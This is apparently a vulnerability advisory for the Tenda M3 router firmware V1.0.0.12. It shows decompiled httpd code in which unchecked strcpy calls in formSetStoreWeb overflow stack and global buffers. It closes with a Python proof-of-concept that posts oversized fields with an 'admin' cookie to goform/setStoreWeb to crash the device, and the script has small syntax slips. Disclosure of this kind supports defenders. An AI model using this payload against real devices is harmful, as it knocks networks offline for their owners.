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d1tto add Tenda M3 ...

on May 27 [History](#)

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img

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readme.md

Overview

- The device's official website: <https://www.tenda.com.cn/product/M3.html>
- Firmware download website: <https://www.tenda.com.cn/download/detail-3133.html>

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory `/bin` has a stack overflow vulnerability and a data segment overflow vulnerability. The vulnerability occurs in the `formSetStoreWeb` function, which can be accessed via the URL `goform/setStoreWeb`

```

50 s1 = (char *)websGetVar(a1, "action", "save");
51 v40 = (char *)websGetVar(a1, "trademark", "Tenda");
52 v39 = (char *)websGetVar(a1, "actionCode", "A0015");
53 v38 = (char *)websGetVar(a1, "logo", "logo.gif");
54 v37 = (char *)websGetVar(a1, "background", "1.png");
55 v36 = (char *)websGetVar(a1, "brandName", "default_Tenda");
56 v35 = (char *)websGetVar(a1, "weixinName", "Tenda1999");
57 nptr = (char *)websGetVar(a1, "adModule", "2");
58 v33 = (char *)websGetVar(a1, "title", "default_title");
59 v32 = (char *)websGetVar(a1, "titleUrl", "http://www.hao123.com/");
60 v31 = (char *)websGetVar(a1, "picTitleFirst_1", "defaultTitle");
61 v30 = (char *)websGetVar(a1, "picTitlesecond_1", "defaultTitle");
62 v29 = (char *)websGetVar(a1, "picTitleUrl_1", "http://www.hao123.com/");
63 v28 = (char *)websGetVar(a1, "picName_1", "1.png");
64 v27 = (char *)websGetVar(a1, "picTitleFirst_2", "defaultTitle");
65 v26 = (char *)websGetVar(a1, "picTitlesecond_2", "defaultTitle");
66 v25 = (char *)websGetVar(a1, "picTitleUrl_2", "http://www.hao123.com/");
67 v24 = (char *)websGetVar(a1, "picName_2", "2.png");
68 v23 = (char *)websGetVar(a1, "picTitleFirst_3", "defaultTitle");
69 v22 = (char *)websGetVar(a1, "picTitlesecond_3", "defaultTitle");
70 v21 = (char *)websGetVar(a1, "picTitleUrl_3", "http://www.hao123.com/");
71 v20 = (char *)websGetVar(a1, "picName_3", "3.png");
72 v19 = websGetVar(a1, "adUrl", &unk_B07A4);
73 src = (char *)websGetVar(a1, "ssidList", &unk_B07A4);
74 v17 = (char *)websGetVar(a1, "storeName", &unk_B07A4);
75 v16 = websGetVar(a1, "mpAppId", "wx8814556889e06a18");
76 v7[0] = 0;

92 if ( !strcmp(s1, "save") )
93 {
94     strcpy((char *)v7, "10.2.0.4");
95     sprintf(DEFAULT_PIC_PATH, "http://%s/images/push_images/", (const char *)v7);
96 }
97 else if ( !strcmp(s1, "preview") )
98 {
99     GetValue((int)"lan.ip", (int)v7);
100     sprintf(DEFAULT_PIC_PATH, "http://%s/images/push_images/", (const char *)v7);
101 }
102 printf("\n\n@@@ DEFAULT_PIC_PATH = %s @@@\n\n", DEFAULT_PIC_PATH);
103 if ( !strcmp(s1, "save") )
104 {
105     strcpy(g_weixin_config, src);
106     strcpy(&g_weixin_config[33], v17);
107     dword_BF378 = atoi(nptr);
108     memset(v4, 0, sizeof(v4));
109     strcpy(v4, v40);
110     if ( !is_cn_encode(v40) != 2 )
111     {
112         memset(v4, 0, sizeof(v4));
113         set_cn_ssids_encode("utf-8", v40, v4);
114     }
115     printf("### utf_storeName = %s\n", v4);
116     strcpy(&g_weixin_config[226], v4);
117     strcpy(&g_weixin_config[258], v39);
118     strcpy(&byte_BF39C[64], v36);
119     strcpy(&byte_BF39C[97], v35);
120     strcpy(byte_BF39C, v38);
121     strcpy(&byte_BF39C[32], v37);
122     strcpy(&byte_BF39C[130], v33);

```

When the POST parameter `action` equals to "save", the program will enter if branch at line 103. In the if body, program copy POST parameter `ssidList` and `storeName` to global variable `g_weixin_config` without checking its length. It also copy POST parameter `trademark` to stack buffer `v4` without checking its length.

PoC

Poc of Denial of Service(DoS)

```
import requests
```

```
data = {  
    b"action": b"save",  
    b"ssidList": b'A'*0x600, # .bss segment overflow  
    b"storeName": b'A'*0x600, # .bss segment overflow  
    b"trademark": b'A'*0x1000, # stack overflow  
}  
cookies = {  
    b"user": "admin"  
}  
res = requests.post("http://127.0.0.1/goform/setStoreWeb", data=data, cookies=cookie  
print(res.content)
```

